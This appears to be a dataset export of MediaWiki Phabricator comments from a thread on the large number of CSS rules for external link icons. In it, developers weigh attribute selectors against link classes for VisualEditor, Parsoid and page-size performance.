* Parsoid, to generate correct HTML
* VisualEditor, to display newly created links correctly

VE generally deals well with styling that comes from the parser side and displays it correctly, but in this case the user could create a link entirely from scratch, and that link might be a .pdf link. Then even though there may not be another .pdf link anywhere on the page, we still need to know that .pdf is magical and should trigger a certain CSS class in order to produce the correct rendering. That's why we need a full duplicate of the icon logic.

So in general, we try to move this kind of logic fully *into* CSS, rather than *out of* CSS and into *code*. Last year this was done for auto-numbered external link numbering: instead of implementing a bunch of numbering logic both in Parsoid and in VE, we were able to number them entirely in CSS using CSS3 counters.

With that in mind, I would much prefer that link icons be done in pure CSS, with attribute selectors in their full ""glory"". That way VisualEditor and any other clients that need to generate new HTML will not have to reimplement the logic from scratch, and instead will just be able to load the CSS. Unless attribute selectors are horrendously slow (which they're probably not, the original CSS rules for link icons date back to 2004), moving to classes just makes things worse, not better.",,,1404267558,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,52,,0.75,0.0,1.0,0.5,1.25,5.75,1.75,0.0,0.25,0.25,3.75,0.25,0.0,0.0,0.25,1.5,0.25,8.0,13.25,0.0,2.25,0.25,0.0,0.0,0.5,0.0,0.0,0.0,0.75,1.0,0.25,3.75,0.25,0.25,0.5,0.0,0.0,0.25,1.5,1.25,0.0,0.75,0.0,0.5,0.0,0.75,0.25,0.5,0.5,16.5,0.75,1.5,0.25,0.5,0.25,0.0,0.0,0.0,0.75,0.0,0.5,1.0,0.0,0.0,0.25,0.5,0.0,3.75,2.25,9.5,1.5,2.25,7.0,0.0,0.0,0.0,0.25,4.75,0.0,1.0,0.0,2.5,13.25,4.75,0.0,0.5,0.0,2.5,0.0,1.25,1.5,0.25,1.25,0.5,0.0,0.0,3.9748563218390807,0.7094435736677116,"(In reply to Gabriel Wicke from comment #69)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is also a problem for VisualEditor. Even in the current system, not including any micro-contribution tools that Gabriel talks about, we would need three entirely separate copies of this logic, in:
* MediaWiki's wikitext->HTML parser
* Parsoid, to generate correct HTML
* VisualEditor, to display newly created links correctly

VE generally deals well with styling that comes from the parser side and displays it correctly, but in this case the user could create a link entirely from scratch, and that link might be a .pdf link. Then even though there may not be another .pdf link anywhere on the page, we still need to know that .pdf is magical and should trigger a certain CSS class in order to produce the correct rendering. That's why we need a full duplicate of the icon logic.

So in general, we try to move this kind of logic fully *into* CSS, rather than *out of* CSS and into *code*. Last year this was done for auto-numbered external link numbering: instead of implementing a bunch of numbering logic both in Parsoid and in VE, we were able to number them entirely in CSS using CSS3 counters.

With that in mind, I would much prefer that link icons be done in pure CSS, with attribute selectors in their full ""glory"". That way VisualEditor and any other clients that need to generate new HTML will not have to reimplement the logic from scratch, and instead will just be able to load the CSS. Unless attribute selectors are horrendously slow (which they're probably not, the original CSS rules for link icons date back to 2004), moving to classes just makes things worse, not better."
258882,Large number of CSS rules for external links,One issue I didn't mention yet is editor complexity. Every editor for our HTML including VE will need to replicate the class logic from the parser. This includes future micro-contribution tools like 'fix this link'. It seems likely that this will lead to rendering inconsistencies when the logic replication is not perfect.,,,1404264536,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,2.0,0.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,7.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,5.0,8.0,3.0,0.0,3.0,0.0,5.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,4.459016393442623,0.8032786885245902,One issue I didn't mention yet is editor complexity. Every editor for our HTML including VE will need to replicate the class logic from the parser. This includes future micro-contribution tools like 'fix this link'. It seems likely that this will lead to rendering inconsistencies when the logic replication is not perfect.
258878,Large number of CSS rules for external links,"Oh, MediaWiki uses more advanced things for styling (like… LESS?), that was never the problem. The only problem was unspecified performance issues.

But I really don't feel like introducing two new ways of doing such a little feature is the right thing to do from a maintainability standpoint (both the maintainability of core, and maintainability of any skins that might want to use different icons).",,,1404260905,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,1.0,0.0,0.0,0.0,1.0,9.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,5.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,18.0,1.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,8.0,4.0,8.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,5.0,3.0,1.0,0.0,1.0,10.0,1.0,1.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,3.0,1.0,0.0,0.0,4.2784810126582276,0.759493670886076,"Oh, MediaWiki uses more advanced things for styling (like… LESS?), that was never the problem. The only problem was unspecified performance issues.

But I really don't feel like introducing two new ways of doing such a little feature is the right thing to do from a maintainability standpoint (both the maintainability of core, and maintainability of any skins that might want to use different icons)."
258875,Large number of CSS rules for external links,"(In reply to Bartosz Dziewoński from comment #66)
> As I said before, I'm okay with doing this either way (we can revert the old
> patch that removed this feature in Vector), but let's please not do both
> ways at once.

We are using attribute matches for a bunch of things in any case, so it's not like somebody working on MediaWiki CSS would now be exposed to new CSS 2 selectors. The main change would be the introduction of classes to eliminate overly complex attribute matches on file extensions, which I think is fairly easy to understand.",,,1404145601,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,52,,1.0,1.0,0.0,1.0,1.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,18.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,5.0,2.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,15.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,5.0,0.0,2.0,0.0,4.0,18.0,5.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,4.125,0.8,"(In reply to Bartosz Dziewoński from comment #66)
QUOTE
QUOTE
QUOTE

We are using attribute matches for a bunch of things in any case, so it's not like somebody working on MediaWiki CSS would now be exposed to new CSS 2 selectors. The main change would be the introduction of classes to eliminate overly complex attribute matches on file extensions, which I think is fairly easy to understand."
258871,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #64)
> Looking at the linked CSS [1], to me it seems that the most complex rules
> are those matching on file extensions to figure out video / audio / document
> links. As those links are not that common relative to the total number of
> links I'd expect classes to be a win overall for those.
> 
> Protocol matches on the other hand are a single selector only (no need for
> upper case variants), and a large chunk of external links is neither to
> videos, audio or document files. This seems to favor keeping those matches
> in CSS to keep the document size down.
> 
> Does this sound like a promising solution to you?

Eh, I'd prefer if we decided on only one way of doing this and stuck to it. This seems to be the worst of both worlds.

As I said before, I'm okay with doing this either way (we can revert the old patch that removed this feature in Vector), but let's please not do both ways at once.",,,1404067893,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.5,2.5,1.5,0.0,0.5,0.0,4.0,0.0,3.5,9.5,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.5,0.0,2.0,0.5,1.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,6.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,13.0,0.5,1.5,8.0,0.0,0.0,0.0,0.5,4.5,1.0,1.0,0.0,6.0,9.5,7.5,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,1.5,0.0,1.0,0.0,3.1923076923076925,0.7307692307692308,"(In reply to Gabriel Wicke from comment #64)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Eh, I'd prefer if we decided on only one way of doing this and stuck to it. This seems to be the worst of both worlds.

As I said before, I'm okay with doing this either way (we can revert the old patch that removed this feature in Vector), but let's please not do both ways at once."
258866,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #62)
> The .plainlinks class was normally used to mark this up, and applied to all
> links inside a content block. How does this work with classes on each link?

.plainlinks .link-https has higher specificity than .link-https, so it's easy to disable the icon for plain links, if desired.

(In reply to Gabriel Wicke from comment #64)
> Looking at the linked CSS [1], to me it seems that the most complex rules
> are those matching on file extensions to figure out video / audio / document
> links. As those links are not that common relative to the total number of
> links I'd expect classes to be a win overall for those.
> 
> Protocol matches on the other hand are a single selector only (no need for
> upper case variants), and a large chunk of external links is neither to
> videos, audio or document files. This seems to favor keeping those matches
> in CSS to keep the document size down.

I don't really know the performance details, but that seems reasonable.  PDF links are probably more common than audio/video, but still a minority.",,,1403925613,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,1.0,5.5,0.0,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,6.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.5,2.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,14.5,1.0,2.0,3.5,0.0,0.0,0.0,1.0,1.5,0.0,1.5,0.0,1.5,6.5,9.5,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,3.608853410740203,0.6569303338171262,"(In reply to Gabriel Wicke from comment #62)
QUOTE
QUOTE

.plainlinks .link-https has higher specificity than .link-https, so it's easy to disable the icon for plain links, if desired.

(In reply to Gabriel Wicke from comment #64)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't really know the performance details, but that seems reasonable.  PDF links are probably more common than audio/video, but still a minority."
258861,Large number of CSS rules for external links,"Looking at the linked CSS [1], to me it seems that the most complex rules are those matching on file extensions to figure out video / audio / document links. As those links are not that common relative to the total number of links I'd expect classes to be a win overall for those.

Protocol matches on the other hand are a single selector only (no need for upper case variants), and a large chunk of external links is neither to videos, audio or document files. This seems to favor keeping those matches in CSS to keep the document size down.

Does this sound like a promising solution to you?

[1]: https://gerrit.wikimedia.org/r/#/c/85920/2/skins/vector/externalLinks.less",,,1403807205,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,0.5,6.5,2.5,0.0,0.0,0.0,1.5,0.5,0.0,1.0,0.0,1.0,0.0,3.0,13.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,0.5,0.5,1.0,1.0,1.5,0.0,1.0,0.5,1.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,17.5,2.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,3.0,5.5,0.5,1.5,10.0,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,2.5,13.0,0.0,1.0,0.0,0.0,2.5,0.0,0.0,3.0,0.5,2.0,0.0,0.5,2.0,3.7780885780885782,0.8171328671328671,"Looking at the linked CSS [1], to me it seems that the most complex rules are those matching on file extensions to figure out video / audio / document links. As those links are not that common relative to the total number of links I'd expect classes to be a win overall for those.

Protocol matches on the other hand are a single selector only (no need for upper case variants), and a large chunk of external links is neither to videos, audio or document files. This seems to favor keeping those matches in CSS to keep the document size down.

Does this sound like a promising solution to you?

[1]: URL"
258855,Large number of CSS rules for external links,"(In reply to Gabriel Wicke from comment #62)
> > I'd like to see us moving away from descendant selectors and explore OOCSS
> > [1] as a solution to our CSS mess we have created. We really should be
> > making better uses of classes, and not be restricted by the implementation
> > restrictions of Parsoid.
> 
> I don't have a strong opinion on what's done in skins. My interest is
> restricted to the content area. In general, we are currently moving away
> from any skin- and pref- specific HTML (including classes) in the page
> content. Our goal is to speed up page views for editors to the level of
> current anonymous views. This means that any variation in rendering between
> skins should be implemented in CSS only, and should not rely on different
> classes being set depending on skin or user preferences.

The suggested link classes are universal, they are not skin or user specific they are always in the dom dependent on what is in the dom.

> (In reply to Daniel Friesen from comment #61)
> > What if we ""don't"" want an icon?
> 
> The .plainlinks class was normally used to mark this up, and applied to all
> links inside a content block. How does this work with classes on each link?

.plainlinks will continue to work for content, in fact it'll work even better since classes have less specificity than attribute selectors.
But I'm not talking about content, but rather code. Adding links to elements or parts of the skin that happen to be under the root the link styles are defined on. With classes all an extension has to do is not use a link class. It can also add that link class to links that wouldn't normally match the selector (an extension could decide to link to a PDF reader with a document link style even though the url wouldn't have matched a .pdf$ selector.
And to top that off by using classes instead of attribute selectors we can drop the root (#content / #bodyContent / .mw-body) since interface links won't be ruined by them anymore, and code can opt-in to link styles outside of content.

> (In reply to Daniel Friesen from comment #60)
> > Are the byte sizes of a few link classes really a big deal for actions as
> > infrequent as a save?
> 
> Page size is a big deal for uncompressed uploads, as upload speeds are
> normally much slower than download speeds. Uploading a large article like
> [[San Francisco]] from a DSL connection in San Francisco takes many seconds
> (23 with current inline Parsoid metadata, around 7 without it), so a change
> of 5% in the page size does have a measurable impact on save times, even on
> a relatively fast connection. Things are worse than that when you are on a
> bad connection in India.

Which brings me to my other point:
""Also I thought delta based saves were being done which make small byte size differences moot.""

So in theory changing %5 of [[San Francisco]] should not involve uploading all of San Francisco. Unless VE is implemented really inefficiently, tiny additions like link classes shouldn't have as much effect on small edits. And if it is implemented that inefficiently, we have a larger problem than the bytes add to link classes.

> > If they are, isn't there any serverside sanitization of the DOM? These are
> > internally generated classes, so if it were an issue couldn't you just strip
> > them before transmission and let the sanitizer or parsoid generate the
> > classes?
> 
> We are working towards using Parsoid HTML for both views and editing, so
> that you don't even loading a new page when switching to VE.

Not relevant, my suggestion is that if you want size reduction on upload, then you could strip the link classes right before upload (which are automatically generated based on a set of rules) since and the server-side sanitizer (which should exist anyways to prevent the rules of the parser being intentionally screwed with or broken by an old VE version) would add them back. The parsoid output and view content (which are compressed and delivered by the faster download bandwidth) would still have the classes.",,,1403749130,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,0.6,0.0,0.0,1.8,1.8,3.4,1.0,0.0,0.2,0.6,1.6,1.2,0.0,0.0,0.0,1.4,0.0,6.2,11.8,0.0,1.4,0.6,0.6,0.0,0.4,0.4,0.0,0.2,1.0,1.2,0.4,4.0,0.4,0.6,1.4,0.4,0.0,0.6,0.2,0.8,0.0,0.8,0.0,2.0,0.4,0.2,0.0,0.4,0.2,17.0,0.0,0.6,0.6,0.2,0.0,0.0,0.0,0.2,0.4,0.0,0.4,2.2,0.0,0.2,0.0,0.4,0.0,5.2,3.2,12.0,2.0,2.2,7.0,0.0,0.0,0.0,0.6,4.8,0.0,0.6,0.0,3.2,11.8,7.4,0.0,0.4,0.0,3.2,0.0,1.6,1.8,0.6,1.0,0.8,0.0,0.4,3.914320175438596,0.6683333333333332,"(In reply to Gabriel Wicke from comment #62)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The suggested link classes are universal, they are not skin or user specific they are always in the dom dependent on what is in the dom.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

.plainlinks will continue to work for content, in fact it'll work even better since classes have less specificity than attribute selectors.
But I'm not talking about content, but rather code. Adding links to elements or parts of the skin that happen to be under the root the link styles are defined on. With classes all an extension has to do is not use a link class. It can also add that link class to links that wouldn't normally match the selector (an extension could decide to link to a PDF reader with a document link style even though the url wouldn't have matched a .pdf$ selector.
And to top that off by using classes instead of attribute selectors we can drop the root (#content / #bodyContent / .mw-body) since interface links won't be ruined by them anymore, and code can opt-in to link styles outside of content.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Which brings me to my other point:
""Also I thought delta based saves were being done which make small byte size differences moot.""

So in theory changing %5 of [[San Francisco]] should not involve uploading all of San Francisco. Unless VE is implemented really inefficiently, tiny additions like link classes shouldn't have as much effect on small edits. And if it is implemented that inefficiently, we have a larger problem than the bytes add to link classes.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not relevant, my suggestion is that if you want size reduction on upload, then you could strip the link classes right before upload (which are automatically generated based on a set of rules) since and the server-side sanitizer (which should exist anyways to prevent the rules of the parser being intentionally screwed with or broken by an old VE version) would add them back. The parsoid output and view content (which are compressed and delivered by the faster download bandwidth) would still have the classes."
258847,Large number of CSS rules for external links,"(In reply to Jon from comment #59)
> Another reason is styles written in this way are not reusable.
> 
> What if we want to use the same audio icon elsewhere?
> 
> With an icon-audio selector class we can.
> With a selector based on href we can't.

This seems to overstate the case a bit. There's nothing stopping us from adding a selector in the CSS, and I don't see why that's more complex than adding the class in HTML. 

> I'd like to see us moving away from descendant selectors and explore OOCSS
> [1] as a solution to our CSS mess we have created. We really should be
> making better uses of classes, and not be restricted by the implementation
> restrictions of Parsoid.

I don't have a strong opinion on what's done in skins. My interest is restricted to the content area. In general, we are currently moving away from any skin- and pref- specific HTML (including classes) in the page content. Our goal is to speed up page views for editors to the level of current anonymous views. This means that any variation in rendering between skins should be implemented in CSS only, and should not rely on different classes being set depending on skin or user preferences.

All these decision are engineering trade-offs, not implementation restrictions. If there are good engineering reasons (performance and CSS sanity for example) for generally adding more classes in the DOM & dumbing down the CSS selectors, then I'd be all for it.

So far our strongest performance data seems to be page sizes, as that's easy to measure. Quantitative data on the relative importance of selector performance on total page render time is missing so far. My anecdotal evidence is that it wasn't noticeable when I added external link icons in 2004, on a laptop that would be considered a feature phone these days.

(In reply to Daniel Friesen from comment #61)
> What if we ""don't"" want an icon?

The .plainlinks class was normally used to mark this up, and applied to all links inside a content block. How does this work with classes on each link?

(In reply to Daniel Friesen from comment #60)
> Are the byte sizes of a few link classes really a big deal for actions as
> infrequent as a save?

Page size is a big deal for uncompressed uploads, as upload speeds are normally much slower than download speeds. Uploading a large article like [[San Francisco]] from a DSL connection in San Francisco takes many seconds (23 with current inline Parsoid metadata, around 7 without it), so a change of 5% in the page size does have a measurable impact on save times, even on a relatively fast connection. Things are worse than that when you are on a bad connection in India.

> If they are, isn't there any serverside sanitization of the DOM? These are
> internally generated classes, so if it were an issue couldn't you just strip
> them before transmission and let the sanitizer or parsoid generate the
> classes?

We are working towards using Parsoid HTML for both views and editing, so that you don't even loading a new page when switching to VE.",,,1403744805,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,1.6,0.0,0.0,1.0,1.2,6.0,1.4,0.0,0.0,0.2,3.4,1.0,0.0,0.2,0.4,2.2,0.4,5.6,14.4,0.2,1.0,0.4,0.2,0.0,0.8,0.6,0.0,1.0,0.0,0.4,0.4,5.2,0.8,0.6,2.0,0.4,0.4,0.0,0.2,0.2,0.0,0.0,0.0,2.2,0.0,0.2,0.0,0.2,0.2,18.0,1.2,1.0,0.2,0.4,0.0,0.0,0.0,0.0,0.6,0.2,0.8,1.2,0.0,0.0,0.0,0.4,0.2,5.0,3.8,12.6,2.0,1.8,8.2,0.0,0.0,0.0,0.6,2.6,0.0,1.4,0.0,3.2,14.4,6.0,0.2,0.0,0.0,3.2,0.0,1.4,2.8,0.2,3.0,0.8,0.2,0.4,3.9456553755522825,0.705996212918157,"(In reply to Jon from comment #59)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This seems to overstate the case a bit. There's nothing stopping us from adding a selector in the CSS, and I don't see why that's more complex than adding the class in HTML. 

QUOTE
QUOTE
QUOTE
QUOTE

I don't have a strong opinion on what's done in skins. My interest is restricted to the content area. In general, we are currently moving away from any skin- and pref- specific HTML (including classes) in the page content. Our goal is to speed up page views for editors to the level of current anonymous views. This means that any variation in rendering between skins should be implemented in CSS only, and should not rely on different classes being set depending on skin or user preferences.

All these decision are engineering trade-offs, not implementation restrictions. If there are good engineering reasons (performance and CSS sanity for example) for generally adding more classes in the DOM & dumbing down the CSS selectors, then I'd be all for it.

So far our strongest performance data seems to be page sizes, as that's easy to measure. Quantitative data on the relative importance of selector performance on total page render time is missing so far. My anecdotal evidence is that it wasn't noticeable when I added external link icons in 2004, on a laptop that would be considered a feature phone these days.

(In reply to Daniel Friesen from comment #61)
QUOTE

The .plainlinks class was normally used to mark this up, and applied to all links inside a content block. How does this work with classes on each link?

(In reply to Daniel Friesen from comment #60)
QUOTE
QUOTE

Page size is a big deal for uncompressed uploads, as upload speeds are normally much slower than download speeds. Uploading a large article like [[San Francisco]] from a DSL connection in San Francisco takes many seconds (23 with current inline Parsoid metadata, around 7 without it), so a change of 5% in the page size does have a measurable impact on save times, even on a relatively fast connection. Things are worse than that when you are on a bad connection in India.

QUOTE
QUOTE
QUOTE
QUOTE

We are working towards using Parsoid HTML for both views and editing, so that you don't even loading a new page when switching to VE."
258840,Large number of CSS rules for external links,"(In reply to Jon from comment #59)
> Another reason is styles written in this way are not reusable.

I'll add one more reason.

What if we ""don't"" want an icon? This should be as simple as not including the class. Using selectors this means you have to override a skin specific css rule, with an unknown weight to it. The selectors aren't even standardized yet, Vector used to use #content, MonoBook uses #bodyContent, and commonElements of course uses .mw-body (though for non-icon styles).",,,1403741384,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,1.0,2.0,6.0,0.5,0.0,1.0,0.5,1.5,2.0,0.0,0.0,0.0,1.0,0.0,4.5,9.0,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,1.0,1.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,4.0,1.5,6.5,1.5,1.0,5.0,0.0,0.0,0.0,2.5,3.0,0.0,1.0,0.0,2.5,9.0,2.5,0.5,1.0,0.0,2.5,0.0,0.5,2.5,0.0,1.0,0.5,0.0,0.0,3.5970588235294114,0.8709803921568627,"(In reply to Jon from comment #59)
QUOTE

I'll add one more reason.

What if we ""don't"" want an icon? This should be as simple as not including the class. Using selectors this means you have to override a skin specific css rule, with an unknown weight to it. The selectors aren't even standardized yet, Vector used to use #content, MonoBook uses #bodyContent, and commonElements of course uses .mw-body (though for non-icon styles)."
258830,Large number of CSS rules for external links,"(In reply to C. Scott Ananian from comment #57)
> @Daniel: long story, but basically gzip compression in HTTP only works in
> the download direction.  There is no equivalent content negotiation for
> uploads in HTTP.

Oh you're talking about save sizes.

Are the byte sizes of a few link classes really a big deal for actions as infrequent as a save?

If they are, isn't there any serverside sanitization of the DOM? These are internally generated classes, so if it were an issue couldn't you just strip them before transmission and let the sanitizer or parsoid generate the classes?

Also I thought delta based saves were being done which make small byte size differences moot.",,,1403738770,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,1.5,0.0,0.0,2.5,1.5,5.0,1.5,0.0,0.0,1.5,1.5,2.0,0.0,0.0,1.0,1.0,0.0,4.5,8.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.5,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,5.5,5.0,8.5,2.5,2.0,8.0,0.0,0.0,0.0,0.5,2.5,0.5,0.5,0.0,4.5,8.0,3.0,2.5,0.0,0.0,4.5,0.0,1.0,2.5,1.0,0.5,0.0,0.0,0.0,3.955357142857143,0.8571428571428572,"(In reply to C. Scott Ananian from comment #57)
QUOTE
QUOTE
QUOTE

Oh you're talking about save sizes.

Are the byte sizes of a few link classes really a big deal for actions as infrequent as a save?

If they are, isn't there any serverside sanitization of the DOM? These are internally generated classes, so if it were an issue couldn't you just strip them before transmission and let the sanitizer or parsoid generate the classes?

Also I thought delta based saves were being done which make small byte size differences moot."
258823,Large number of CSS rules for external links,"Another reason is styles written in this way are not reusable.

What if we want to use the same audio icon elsewhere?

With an icon-audio selector class we can.
With a selector based on href we can't.

I'd like to see us moving away from descendant selectors and explore OOCSS [1] as a solution to our CSS mess we have created. We really should be making better uses of classes, and not be restricted by the implementation restrictions of Parsoid.

[1] http://www.smashingmagazine.com/2011/12/12/an-introduction-to-object-oriented-css-oocss/",,,1403738706,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,1.5,2.0,3.5,0.5,0.0,0.0,0.5,1.5,1.0,0.0,0.0,0.0,6.0,0.0,4.5,10.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.5,0.0,2.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,11.5,0.0,0.5,0.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.5,3.0,7.5,0.5,2.0,4.5,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,6.0,10.0,1.5,0.5,0.0,0.0,6.0,0.0,0.5,2.0,1.0,2.0,1.0,0.0,3.0,3.7254901960784315,0.8235294117647058,"Another reason is styles written in this way are not reusable.

What if we want to use the same audio icon elsewhere?

With an icon-audio selector class we can.
With a selector based on href we can't.

I'd like to see us moving away from descendant selectors and explore OOCSS [1] as a solution to our CSS mess we have created. We really should be making better uses of classes, and not be restricted by the implementation restrictions of Parsoid.

[1] URL"
258816,Large number of CSS rules for external links,"(In reply to C. Scott Ananian from comment #57)
> @Daniel: long story, but basically gzip compression in HTTP only works in
> the download direction.  There is no equivalent content negotiation for
> uploads in HTTP.

JS implementations aren't universally a win on all browsers & hardware either. See https://bugzilla.wikimedia.org/show_bug.cgi?id=66914 for some related discussion.",,,1403737647,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,51,,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,25.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.925,0.875,"(In reply to C. Scott Ananian from comment #57)
QUOTE
QUOTE
QUOTE

JS implementations aren't universally a win on all browsers & hardware either. See URL for some related discussion."
